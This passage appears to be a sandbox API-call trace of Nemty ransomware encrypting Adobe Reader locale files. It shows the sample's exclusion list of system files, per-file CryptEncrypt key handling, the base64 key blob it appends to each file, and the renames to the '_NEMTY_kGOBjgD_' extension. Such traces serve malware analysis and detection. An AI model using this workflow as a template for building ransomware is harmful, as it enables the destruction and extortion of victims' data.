0x6346f28 [0178.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.598] Sleep (dwMilliseconds=0x5) [0178.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e1a2310, dwHighDateTime=0x1d561e8)) [0178.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e1a2310, dwHighDateTime=0x1d561e8)) [0178.602] GetLastError () returned 0x0 [0178.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.602] GetLastError () returned 0x0 [0178.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.603] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.603] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.603] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.603] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Ti+SyJWfpJKA8LRI5wzKehou/WRmPRBNh1KNS8PXKEBMNIsRtARiNllMCkaxTcWX\r\ngwdR8Q01EQApmktpP8fsfgajwG5JLGoh35Q5GUI74MonI/G2d/eUnOE0/Qlg+/hc\r\nzfqeqGZMToOYb6vFcAJxx8aZmDAK7w0OjQ3cRsmwU3txrN8UgepDv058qpdolQbB\r\nnsw4ByFGqNOGDvJMtEjBPognCn6B/0GQyIa668dD6th75VTuW+06v75PVCdeuoUD\r\nKMfLOb6ZPTWWJuRo/R5ycy5pHNs2Z3hWEr6ztMWlxPH2jWC8Qeer671mXezzzM++\r\nM5qNfdY6gRBbqNaVjwXqnQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\pddom.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\pddom.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.603] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0178.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0178.603] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.603] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0178.605] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.605] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0178.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.606] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0178.606] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.606] CloseHandle (hObject=0x2e8) returned 1 [0178.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0178.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.606] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\pddom.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\pddom.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\pddom.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\pddom.ita._nemty_kgobjgd_")) returned 1 [0178.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0178.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.607] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.ITA", cAlternateFileName="")) returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2=".") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="..") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="...") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="windows") returned -1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="rsa") returned -1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="NTDETECT.COM") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="ntldr") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="MSDOS.SYS") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="IO.SYS") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="boot.ini") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="boot.ini") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="ntuser.dat") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="desktop.ini") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="CONFIG.SYS") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="RECYCLER") returned -1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="bootmgr") returned 1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="programdata") returned -1 [0178.607] lstrcmpiW (lpString1="PPKLITE.ITA", lpString2="appdata") returned 1 [0178.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0178.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ITA", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ITA", lpUsedDefaultChar=0x0) returned 11 [0178.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.608] Sleep (dwMilliseconds=0x5) [0178.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e1c8470, dwHighDateTime=0x1d561e8)) [0178.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e1c8470, dwHighDateTime=0x1d561e8)) [0178.618] GetLastError () returned 0x0 [0178.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.618] GetLastError () returned 0x0 [0178.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.618] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.618] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.618] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.618] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="0rDAX0knt/945456ib33TRgT3y/X+Umua2vaCXP0soF5z+6NeZrJKyuqoFRaXms5\r\nP7dSZAqUeh5lTFaTakljYmDAERqfSVED2DSTxhppPy/f42Naognk0I5UQhwh/hdn\r\nShOt01226+aB3MW/uK0euRh5IKTqnbaFkPTWTg74O6AFA4LUTX9kApC6ERmvMSI/\r\nH4ImQ6OCC3RzhtPsBPIkgJWtgzWdsfy9tYKpjXgqDlCoevhA//SmK1jO0IO9/wJV\r\nl3JEMMkLWY6xEm9z+zyen5aAPoejwc9f4C7PodHuH+CpPZDrumhTvAYkpxEcNa2d\r\nMtqxnnE4xdB8GsxSLoMHqQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.618] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\PPKLITE.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ppklite.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.619] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=536064) returned 1 [0178.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.619] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.619] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.629] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.629] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.629] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=536064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x82e00 [0178.629] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.631] CloseHandle (hObject=0x2e8) returned 1 [0178.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.631] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\PPKLITE.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ppklite.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\PPKLITE.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ppklite.ita._nemty_kgobjgd_")) returned 1 [0178.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.632] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7de2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x157000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.ITA", cAlternateFileName="")) returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2=".") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="..") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="...") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="windows") returned -1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="rsa") returned -1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="NTDETECT.COM") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="ntldr") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="MSDOS.SYS") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="IO.SYS") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="boot.ini") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="boot.ini") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="ntuser.dat") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="desktop.ini") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="CONFIG.SYS") returned 1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="RECYCLER") returned -1 [0178.632] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.633] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="bootmgr") returned 1 [0178.633] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="programdata") returned 1 [0178.633] lstrcmpiW (lpString1="RdLang32.ITA", lpString2="appdata") returned 1 [0178.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.ITA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 